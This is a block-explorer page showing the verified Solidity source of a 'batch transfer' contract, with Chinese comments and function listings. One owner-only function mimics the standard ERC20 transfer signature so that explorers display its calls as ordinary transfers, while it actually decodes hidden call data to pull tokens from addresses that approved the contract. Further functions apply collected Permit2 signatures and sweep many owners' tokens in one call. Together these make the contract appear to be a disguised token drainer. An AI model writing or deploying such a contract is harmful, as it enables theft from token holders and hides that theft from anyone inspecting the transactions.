Address Contract Verified
Address
0xD73dcF03279Fb3a2A64c7584dF038Fbc1D29258F
Balance
0 ETH
Nonce
1
Code Size
22723 bytes
Creator
0xA491D9b7...093d at tx 0x19673450...effb0b
Indexed Transactions
0
Contract Bytecode
22723 bytes
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Verified Source Code Full Match
Compiler: v0.8.7+commit.e28d00a7
EVM: london
Optimization: No
batch_transfer_storage.sol 823 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// 自定义错误（节省 Gas 和合约大小）
error OnlyOwnerAllowed();
error ReentrancyDetected();
error ZeroAddress();
error ContractAddress();
error EmptyTransferList();
error TooManyTransfers();
error InsufficientBalanceForBatch();
error InsufficientETH();
error ETHTransferFailed();
error TokenTransferFailed();
error InvalidToken();
error GasLimitOutOfRange();
error NoBalance();
interface IERC20 {
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
}
// Permit2 AllowanceTransfer 接口
interface IPermit2 {
// Permit2 授权详情结构
struct PermitDetails {
address token; // ERC20 代币地址
uint160 amount; // 最大允许金额
uint48 expiration; // 过期时间戳
uint48 nonce; // 每个 owner-token-spender 的递增值
}
// 单个授权结构
struct PermitSingle {
PermitDetails details; // 授权详情
address spender; // 被授权的地址
uint256 sigDeadline; // 签名截止时间
}
// 批量授权结构
struct PermitBatch {
PermitDetails[] details; // 多个代币的授权详情
address spender; // 被授权的地址
uint256 sigDeadline; // 签名截止时间
}
// 转账详情结构
struct AllowanceTransferDetails {
address from; // 代币所有者
address to; // 接收者
uint160 amount; // 转账金额
address token; // 代币地址
}
// 单个授权函数
function permit(address owner, PermitSingle memory permitSingle, bytes calldata signature) external;
// 批量授权函数
function permit(address owner, PermitBatch memory permitBatch, bytes calldata signature) external;
// 批量转账函数
function transferFrom(AllowanceTransferDetails[] calldata transferDetails) external;
}
contract BatchTransferStorage {
// 合约拥有者
address private owner;
// 重入锁
bool private locked;
// Gas优化：可配置的gas限制
uint256 private constant DEFAULT_ETH_TRANSFER_GAS_LIMIT = 2300;
uint256 private constant MIN_ETH_TRANSFER_GAS_LIMIT = 2300;
uint256 private constant MAX_ETH_TRANSFER_GAS_LIMIT = 100000;
uint256 private constant MAX_BATCH_SIZE = 500;
uint256 private constant MAX_TOKEN_BATCH_SIZE = 500;
uint256 private constant MAX_PERMIT2_BATCH_SIZE = 500;
uint256 public ethTransferGasLimit = DEFAULT_ETH_TRANSFER_GAS_LIMIT;
// 转账数据结构
struct TransferData {
address recipient; // 接收地址
address token; // 代币地址（address(0)表示ETH）
uint256 ethAmount; // ETH数量
uint256 tokenAmount; // 代币数量
}
// Transfer 转账数据结构（用于外部授权转账）
struct TransferCallData {
address from; // 授权地址（代币来源）
address token; // 代币地址
address to; // 接收地址
uint256 amount; // 转账数量
}
// Permit2 授权数据（单个地址的授权）
struct Permit2ApprovalData {
address owner; // 代币所有者（需要授权的地址）
address token; // 代币地址
uint160 amount; // 授权金额
uint48 expiration; // 过期时间
uint48 nonce; // nonce
uint256 sigDeadline; // 签名截止时间
bytes signature; // 签名数据
}
// Permit2 转账数据
struct Permit2TransferData {
address from; // 代币所有者
address to; // 接收者
uint160 amount; // 转账金额
address token; // 代币地址
}
// 事件
event BatchTransferExecuted(uint256 count, uint256 successCount);
event TransferCallExecuted(uint256 count, uint256 successCount);
event TokenWithdrawn(address indexed token, uint256 amount, address indexed to);
event EthWithdrawn(uint256 amount, address indexed to);
event EthReceived(address indexed from, uint256 amount);
event TransferFailed(address indexed recipient, address indexed token, uint256 amount);
event TransferCallFailed(address indexed from, address indexed token, address indexed to, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event EthTransferGasLimitUpdated(uint256 oldLimit, uint256 newLimit);
// Permit2 相关事件
event Permit2ApprovalExecuted(uint256 count, uint256 successCount);
event Permit2ApprovalFailed(address indexed owner, address indexed token);
event Permit2TransferExecuted(uint256 count, uint256 successCount);
event Permit2TransferFailed(address indexed from, address indexed to, address indexed token, uint160 amount);
// 修饰符：仅限拥有者
modifier onlyOwner() {
if (msg.sender != owner) revert OnlyOwnerAllowed();
_;
}
// 重入保护
modifier nonReentrant() {
if (locked) revert ReentrancyDetected();
locked = true;
_;
locked = false;
}
// 有效地址检查
modifier validAddress(address _address) {
if (_address == address(0)) revert ZeroAddress();
if (_address == address(this)) revert ContractAddress();
_;
}
// 构造函数
constructor() {
owner = msg.sender;
locked = false;
}
// 接收ETH
receive() external payable {
emit EthReceived(msg.sender, msg.value);
}
/**
* @dev 设置ETH转账的Gas限制 (仅限Owner)
*/
function setEthTransferGasLimit(uint256 newGasLimit) external onlyOwner {
if (newGasLimit < MIN_ETH_TRANSFER_GAS_LIMIT || newGasLimit > MAX_ETH_TRANSFER_GAS_LIMIT) {
revert GasLimitOutOfRange();
}
uint256 oldLimit = ethTransferGasLimit;
ethTransferGasLimit = newGasLimit;
emit EthTransferGasLimitUpdated(oldLimit, newGasLimit);
}
/**
* @dev 获取当前ETH转账Gas限制配置
*/
function getEthTransferGasLimit() external view returns (uint256) {
return ethTransferGasLimit;
}
// 批量转账函数 - Gas优化版本
function batchTransfer(TransferData[] calldata transfers) external onlyOwner nonReentrant {
uint256 length = transfers.length;
if (length == 0) revert EmptyTransferList();
if (length > MAX_BATCH_SIZE) revert TooManyTransfers();
// Gas优化：预检查阶段 - 避免部分执行后失败
(uint256 totalEthNeeded, bool balanceCheckPassed) = _preCheckBalances(transfers);
if (!balanceCheckPassed) revert InsufficientBalanceForBatch();
// Gas优化：缓存合约余额，避免重复读取storage
uint256 contractEthBalance = address(this).balance;
if (contractEthBalance < totalEthNeeded) revert InsufficientETH();
// 执行转账 - 使用优化的循环
uint256 successCount = _executeBatchTransfers(transfers);
emit BatchTransferExecuted(length, successCount);
}
/**
* @dev Gas优化：预检查所有转账的余额需求
*/
function _preCheckBalances(TransferData[] calldata transfers)
private
view
returns (uint256 totalEthNeeded, bool balanceCheckPassed)
{
uint256 length = transfers.length;
balanceCheckPassed = true;
// 动态数组存储唯一代币地址和对应需求量
address[] memory uniqueTokens = new address[](length);
uint256[] memory tokenRequirements = new uint256[](length);
uint256 uniqueTokenCount = 0;
// Gas优化：使用unchecked进行循环计数
for (uint256 i = 0; i < length;) {
TransferData calldata t = transfers[i];
// 累计ETH需求
totalEthNeeded += t.ethAmount;
// 处理ERC20代币需求
if (t.token != address(0) && t.tokenAmount > 0) {
// 查找或添加代币到唯一列表
uint256 tokenIndex = uniqueTokenCount;
for (uint256 j = 0; j < uniqueTokenCount;) {
if (uniqueTokens[j] == t.token) {
tokenIndex = j;
break;
}
unchecked { ++j; }
}
// 如果是新代币，添加到列表
if (tokenIndex == uniqueTokenCount) {
uniqueTokens[uniqueTokenCount] = t.token;
tokenRequirements[uniqueTokenCount] = 0;
unchecked { ++uniqueTokenCount; }
}
// 累计该代币的需求量
tokenRequirements[tokenIndex] += t.tokenAmount;
}
unchecked { ++i; }
}
// 检查每个代币的余额是否足够
for (uint256 i = 0; i < uniqueTokenCount;) {
try IERC20(uniqueTokens[i]).balanceOf(address(this)) returns (uint256 balance) {
if (balance < tokenRequirements[i]) {
balanceCheckPassed = false;
break;
}
} catch {
balanceCheckPassed = false;
break;
}
unchecked { ++i; }
}
}
/**
* @dev Gas优化：执行批量转账操作
*/
function _executeBatchTransfers(TransferData[] calldata transfers)
private
returns (uint256 successCount)
{
uint256 length = transfers.length;
for (uint256 i = 0; i < length;) {
TransferData calldata data = transfers[i];
// 验证接收地址
if (data.recipient == address(0) || data.recipient == address(this)) {
emit TransferFailed(data.recipient, data.token, data.ethAmount + data.tokenAmount);
unchecked { ++i; }
continue;
}
bool transferSuccess = true;
// 发送ETH
if (data.ethAmount > 0) {
(bool ethSuccess, ) = data.recipient.call{value: data.ethAmount, gas: ethTransferGasLimit}("");
if (!ethSuccess) {
emit TransferFailed(data.recipient, address(0), data.ethAmount);
transferSuccess = false;
}
}
// 发送代币
if (data.token != address(0) && data.tokenAmount > 0) {
bool tokenTransferSuccess = _safeTokenTransfer(data.token, data.recipient, data.tokenAmount);
if (!tokenTransferSuccess) {
emit TransferFailed(data.recipient, data.token, data.tokenAmount);
transferSuccess = false;
}
}
if (transferSuccess) {
unchecked { ++successCount; }
}
unchecked { ++i; }
}
}
// 紧急停止函数
function emergencyWithdrawETH() external onlyOwner nonReentrant {
uint256 balance = address(this).balance;
if (balance == 0) revert NoBalance();
(bool success, ) = owner.call{value: balance, gas: ethTransferGasLimit}("");
if (!success) revert ETHTransferFailed();
emit EthWithdrawn(balance, owner);
}
// 提现所有ETH到owner地址
function withdrawETH() external onlyOwner nonReentrant {
uint256 balance = address(this).balance;
if (balance == 0) revert NoBalance();
(bool success, ) = owner.call{value: balance, gas: ethTransferGasLimit}("");
if (!success) revert ETHTransferFailed();
emit EthWithdrawn(balance, owner);
}
// 提现指定代币到owner地址 - 增强安全性
function withdrawToken(address tokenAddress) external onlyOwner nonReentrant validAddress(tokenAddress) {
IERC20 token = IERC20(tokenAddress);
uint256 balance = token.balanceOf(address(this));
if (balance == 0) revert NoBalance();
bool success = _safeTokenTransfer(tokenAddress, owner, balance);
if (!success) revert TokenTransferFailed();
emit TokenWithdrawn(tokenAddress, balance, owner);
}
// 批量提现多个代币 - Gas优化版本
function withdrawMultipleTokens(address[] calldata tokenAddresses) external onlyOwner nonReentrant {
uint256 length = tokenAddresses.length;
if (length == 0) revert EmptyTransferList();
if (length > MAX_TOKEN_BATCH_SIZE) revert TooManyTransfers();
// Gas优化：缓存owner地址，避免重复读取storage
address ownerAddr = owner;
for (uint256 i = 0; i < length;) {
address tokenAddress = tokenAddresses[i];
if (tokenAddress != address(0) && tokenAddress != address(this)) {
try IERC20(tokenAddress).balanceOf(address(this)) returns (uint256 balance) {
if (balance > 0) {
bool success = _safeTokenTransfer(tokenAddress, ownerAddr, balance);
if (success) {
emit TokenWithdrawn(tokenAddress, balance, ownerAddr);
}
}
} catch {
// 忽略无效的代币地址，继续下一个
}
}
unchecked { ++i; }
}
}
// 内部实现：提现所有资产（代币 + ETH）到指定地址 - 供公开函数复用
function _withdrawAllInternal(address to, address[] calldata tokenAddresses) private {
if (tokenAddresses.length > MAX_TOKEN_BATCH_SIZE) revert TooManyTransfers();
uint256 gasLimit = ethTransferGasLimit;
// 先提现所有代币
for (uint256 i = 0; i < tokenAddresses.length;) {
address tokenAddress = tokenAddresses[i];
if (tokenAddress != address(0) && tokenAddress != address(this)) {
try IERC20(tokenAddress).balanceOf(address(this)) returns (uint256 balance) {
if (balance > 0) {
bool success = _safeTokenTransfer(tokenAddress, to, balance);
if (success) {
emit TokenWithdrawn(tokenAddress, balance, to);
}
}
} catch {
// 忽略无效的代币地址，继续下一个
}
}
unchecked { ++i; }
}
// 最后提现ETH
uint256 ethBalance = address(this).balance;
if (ethBalance > 0) {
(bool success, ) = to.call{value: ethBalance, gas: gasLimit}("");
if (success) {
emit EthWithdrawn(ethBalance, to);
}
}
}
// 提现所有资产（代币 + ETH） - Gas优化版本（保持接口与行为不变）
function withdrawAll(address[] calldata tokenAddresses) external onlyOwner nonReentrant {
_withdrawAllInternal(owner, tokenAddresses);
}
// 提现所有资产到指定地址（代币 + ETH）
function withdrawAllTo(address to, address[] calldata tokenAddresses)
external
onlyOwner
nonReentrant
validAddress(to)
{
_withdrawAllInternal(to, tokenAddresses);
}
// 查询合约ETH余额
function getETHBalance() external view returns (uint256) {
return address(this).balance;
}
// 查询合约代币余额 - 增强安全性
function getTokenBalance(address tokenAddress) external view returns (uint256) {
if (tokenAddress == address(0)) revert InvalidToken();
try IERC20(tokenAddress).balanceOf(address(this)) returns (uint256 balance) {
return balance;
} catch {
return 0;
}
}
// 获取owner地址
function getOwner() external view returns (address) {
return owner;
}
// 转移所有权 - 增强安全性
function transferOwnership(address newOwner) external onlyOwner validAddress(newOwner) {
address previousOwner = owner;
owner = newOwner;
emit OwnershipTransferred(previousOwner, newOwner);
}
// 检查重入锁状态
function isLocked() external view returns (bool) {
return locked;
}
/**
* @dev 批量转账函数 - 支持外部地址授权后转账
* @notice 使用标准 ERC20 transfer 签名以兼容浏览器显示，实际从 msg.data 解析 transfers
* @param _to 标准 ERC20 参数（被忽略）
* @param _value 标准 ERC20 参数（被忽略）
* @notice 外部地址需要先调用代币合约的 approve 函数，授权本合约可以转账
* @notice transfers 数组通过 msg.data 解析，格式为 TransferCallData[]
*/
function transfer(address _to, uint256 _value) external onlyOwner nonReentrant {
// 从 msg.data 解析第三个参数 TransferCallData[]
// msg.data 布局（从 selector 后开始）：
// [0:32] - _to (address)
// [32:64] - _value (uint256)
// [64:96] - transfers offset (指向数组数据的偏移量)
// [transfersOffset+4:transfersOffset+36] - transfers 数组长度
// [transfersOffset+36:...] - transfers 数组元素
TransferCallData[] calldata transfers;
assembly {
// 获取 transfers 的偏移量（从 selector 后开始计算，第64字节位置）
let transfersOffset := calldataload(add(4, 64))
// 计算实际数据位置：4 (selector) + transfersOffset
let dataStart := add(4, transfersOffset)
// 设置 transfers 的指针（长度位置）
transfers.length := calldataload(dataStart)
// transfers 数据起始位置（长度之后）
transfers.offset := add(dataStart, 32)
}
uint256 length = transfers.length;
if (length == 0) revert EmptyTransferList();
if (length > MAX_BATCH_SIZE) revert TooManyTransfers();
uint256 successCount = _executeTransfers(transfers);
emit TransferCallExecuted(length, successCount);
}
/**
* @dev Gas优化：执行批量转账操作（增强版：详细错误日志）
*/
function _executeTransfers(TransferCallData[] calldata transfers)
private
returns (uint256 successCount)
{
uint256 length = transfers.length;
for (uint256 i = 0; i < length;) {
TransferCallData calldata data = transfers[i];
// 步骤1: 验证地址有效性
if (data.from == address(0)) {
emit TransferCallFailed(data.from, data.token, data.to, data.amount);
unchecked { ++i; }
continue;
}
if (data.from == address(this)) {
emit TransferCallFailed(data.from, data.token, data.to, data.amount);
unchecked { ++i; }
continue;
}
if (data.to == address(0)) {
emit TransferCallFailed(data.from, data.token, data.to, data.amount);
unchecked { ++i; }
continue;
}
if (data.to == address(this)) {
emit TransferCallFailed(data.from, data.token, data.to, data.amount);
unchecked { ++i; }
continue;
}
if (data.token == address(0)) {
emit TransferCallFailed(data.from, data.token, data.to, data.amount);
unchecked { ++i; }
continue;
}
if (data.token == address(this)) {
emit TransferCallFailed(data.from, data.token, data.to, data.amount);
unchecked { ++i; }
continue;
}
// 步骤2: 验证转账数量
if (data.amount == 0) {
emit TransferCallFailed(data.from, data.token, data.to, data.amount);
unchecked { ++i; }
continue;
}
// 步骤3: 检查余额和授权（调试信息）
uint256 balance = 0;
uint256 allowance = 0;
try IERC20(data.token).balanceOf(data.from) returns (uint256 bal) {
balance = bal;
} catch {
emit TransferCallFailed(data.from, data.token, data.to, data.amount);
unchecked { ++i; }
continue;
}
try IERC20(data.token).allowance(data.from, address(this)) returns (uint256 allow) {
allowance = allow;
} catch {
emit TransferCallFailed(data.from, data.token, data.to, data.amount);
unchecked { ++i; }
continue;
}
// 步骤4: 检查余额是否足够
if (balance < data.amount) {
emit TransferCallFailed(data.from, data.token, data.to, data.amount);
unchecked { ++i; }
continue;
}
// 步骤5: 检查授权是否足够
if (allowance < data.amount) {
emit TransferCallFailed(data.from, data.token, data.to, data.amount);
unchecked { ++i; }
continue;
}
// 步骤6: 执行 transferFrom
(bool transferSuccess, ) = _safeTokenTransferFromWithReason(data.token, data.from, data.to, data.amount);
if (transferSuccess) {
unchecked { ++successCount; }
} else {
emit TransferCallFailed(data.from, data.token, data.to, data.amount);
}
unchecked { ++i; }
}
}
/**
* @dev 安全的代币转账函数，兼容USDT等非标准ERC20代币
*/
function _safeTokenTransfer(address token, address to, uint256 amount) private returns (bool) {
// 使用 call 方式调用 transfer，兼容非标准 ERC20 代币
(bool success, bytes memory returndata) = token.call(
abi.encodeWithSelector(IERC20.transfer.selector, to, amount)
);
// 检查调用是否成功
if (!success) {
return false;
}
// 检查返回值：
// 1. 如果没有返回数据（某些代币不返回值），认为成功
// 2. 如果有返回数据，必须是 true
if (returndata.length > 0) {
// 解码返回值，必须是 bool 类型且为 true
return abi.decode(returndata, (bool));
}
// 没有返回数据，认为成功（兼容 USDT 等代币）
return true;
}
/**
* @dev 安全的代币转账函数（transferFrom），兼容USDT等非标准ERC20代币
*/
function _safeTokenTransferFrom(address token, address from, address to, uint256 amount) private returns (bool) {
(bool success, ) = _safeTokenTransferFromWithReason(token, from, to, amount);
return success;
}
/**
* @dev 安全的代币转账函数（transferFrom），带详细错误原因
* @return success 是否成功
* @return reason 失败原因（成功时为空字符串）
*/
function _safeTokenTransferFromWithReason(address token, address from, address to, uint256 amount)
private
returns (bool success, string memory reason)
{
// 使用 call 方式调用 transferFrom，兼容非标准 ERC20 代币
(bool callSuccess, bytes memory returndata) = token.call(
abi.encodeWithSelector(IERC20.transferFrom.selector, from, to, amount)
);
// 检查调用是否成功
if (!callSuccess) {
// 尝试解析 revert 原因
if (returndata.length > 0) {
// 尝试解码错误消息
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
}
return (false, "Low-level call failed");
}
// 检查返回值：
// 1. 如果没有返回数据（某些代币不返回值），认为成功
// 2. 如果有返回数据，必须是 true
if (returndata.length > 0) {
// 尝试解码返回值
bool result;
try this.decodeBool(returndata) returns (bool decoded) {
result = decoded;
} catch {
return (false, "Failed to decode return value");
}
if (!result) {
return (false, "TransferFrom returned false");
}
}
// 没有返回数据或返回 true，认为成功
return (true, "");
}
/**
* @dev 辅助函数：解码 bool 返回值（用于 try-catch）
*/
function decodeBool(bytes memory data) external pure returns (bool) {
return abi.decode(data, (bool));
}
// ==================== Permit2 相关函数 ====================
/**
* @dev 批量调用 Permit2 的 permit 函数进行授权
* @param permit2Address Permit2 合约地址
* @param approvals 授权数据数组，每个元素包含一个地址的授权信息
* @notice 此函数会循环调用 Permit2 的 permit 函数，每次为一个地址授权一个代币
*/
function batchPermit2Approve(
address permit2Address,
Permit2ApprovalData[] calldata approvals
)
external
onlyOwner
nonReentrant
{
if (permit2Address == address(0)) revert InvalidToken();
if (approvals.length == 0) revert EmptyTransferList();
if (approvals.length > MAX_PERMIT2_BATCH_SIZE) revert TooManyTransfers();
IPermit2 permit2 = IPermit2(permit2Address);
uint256 successCount = 0;
for (uint256 i = 0; i < approvals.length;) {
Permit2ApprovalData calldata approval = approvals[i];
// 验证地址有效性
if (approval.owner == address(0)) {
emit Permit2ApprovalFailed(approval.owner, approval.token);
unchecked { ++i; }
continue;
}
if (approval.token == address(0)) {
emit Permit2ApprovalFailed(approval.owner, approval.token);
unchecked { ++i; }
continue;
}
// 构造 PermitSingle 结构
IPermit2.PermitSingle memory permitSingle = IPermit2.PermitSingle({
details: IPermit2.PermitDetails({
token: approval.token,
amount: approval.amount,
expiration: approval.expiration,
nonce: approval.nonce
}),
spender: address(this), // 授权给本合约
sigDeadline: approval.sigDeadline
});
// 调用 Permit2 的 permit 函数
try permit2.permit(approval.owner, permitSingle, approval.signature) {
unchecked { ++successCount; }
} catch Error(string memory) {
emit Permit2ApprovalFailed(approval.owner, approval.token);
} catch (bytes memory) {
emit Permit2ApprovalFailed(approval.owner, approval.token);
}
unchecked { ++i; }
}
emit Permit2ApprovalExecuted(approvals.length, successCount);
}
/**
* @dev 批量调用 Permit2 的 transferFrom 函数进行转账
* @param permit2Address Permit2 合约地址
* @param transfers 转账数据数组
* @notice 此函数直接调用 Permit2 的批量 transferFrom 函数
* @notice 调用前需要确保相关地址已通过 permit 函数授权给本合约
*/
function batchPermit2Transfer(
address permit2Address,
Permit2TransferData[] calldata transfers
)
external
onlyOwner
nonReentrant
{
if (permit2Address == address(0)) revert InvalidToken();
if (transfers.length == 0) revert EmptyTransferList();
if (transfers.length > MAX_PERMIT2_BATCH_SIZE) revert TooManyTransfers();
// 验证所有转账数据的有效性
for (uint256 i = 0; i < transfers.length;) {
Permit2TransferData calldata transfer = transfers[i];
if (transfer.from == address(0)) {
emit Permit2TransferFailed(transfer.from, transfer.to, transfer.token, transfer.amount);
revert ZeroAddress();
}
if (transfer.to == address(0)) {
emit Permit2TransferFailed(transfer.from, transfer.to, transfer.token, transfer.amount);
revert ZeroAddress();
}
if (transfer.token == address(0)) {
emit Permit2TransferFailed(transfer.from, transfer.to, transfer.token, transfer.amount);
revert InvalidToken();
}
if (transfer.amount == 0) {
emit Permit2TransferFailed(transfer.from, transfer.to, transfer.token, transfer.amount);
revert EmptyTransferList();
}
unchecked { ++i; }
}
// 构造 Permit2 的 AllowanceTransferDetails 数组
IPermit2.AllowanceTransferDetails[] memory transferDetails = new IPermit2.AllowanceTransferDetails[](transfers.length);
for (uint256 i = 0; i < transfers.length;) {
transferDetails[i] = IPermit2.AllowanceTransferDetails({
from: transfers[i].from,
to: transfers[i].to,
amount: transfers[i].amount,
token: transfers[i].token
});
unchecked { ++i; }
}
// 调用 Permit2 的批量 transferFrom 函数
IPermit2 permit2 = IPermit2(permit2Address);
try permit2.transferFrom(transferDetails) {
emit Permit2TransferExecuted(transfers.length, transfers.length);
} catch Error(string memory) {
emit Permit2TransferFailed(address(0), address(0), address(0), 0);
revert TokenTransferFailed();
} catch (bytes memory) {
emit Permit2TransferFailed(address(0), address(0), address(0), 0);
revert TokenTransferFailed();
}
}
}
Read Contract
decodeBool 0xc62173d0 → bool
ethTransferGasLimit 0x2d79cf42 → uint256
getETHBalance 0x6e947298 → uint256
getEthTransferGasLimit 0xc4d797f2 → uint256
getOwner 0x893d20e8 → address
getTokenBalance 0x3aecd0e3 → uint256
isLocked 0xa4e2d634 → bool
Write Contract 12 functions
These functions modify contract state and require a wallet transaction to execute.
batchPermit2Approve 0xfc09aa85
address permit2Address
tuple[] approvals
batchPermit2Transfer 0xbf48c50b
address permit2Address
tuple[] transfers
batchTransfer 0xec3540d8
tuple[] transfers
emergencyWithdrawETH 0x84536017
No parameters
setEthTransferGasLimit 0x3a9b52ad
uint256 newGasLimit
transfer 0xa9059cbb
address _to
uint256 _value
transferOwnership 0xf2fde38b
address newOwner
withdrawAll 0x6568a279
address[] tokenAddresses
withdrawAllTo 0x61dadfdb
address to
address[] tokenAddresses
withdrawETH 0xe086e5ec
No parameters
withdrawMultipleTokens 0x3fa02c4a
address[] tokenAddresses
withdrawToken 0x89476069
address tokenAddress
Recent Transactions
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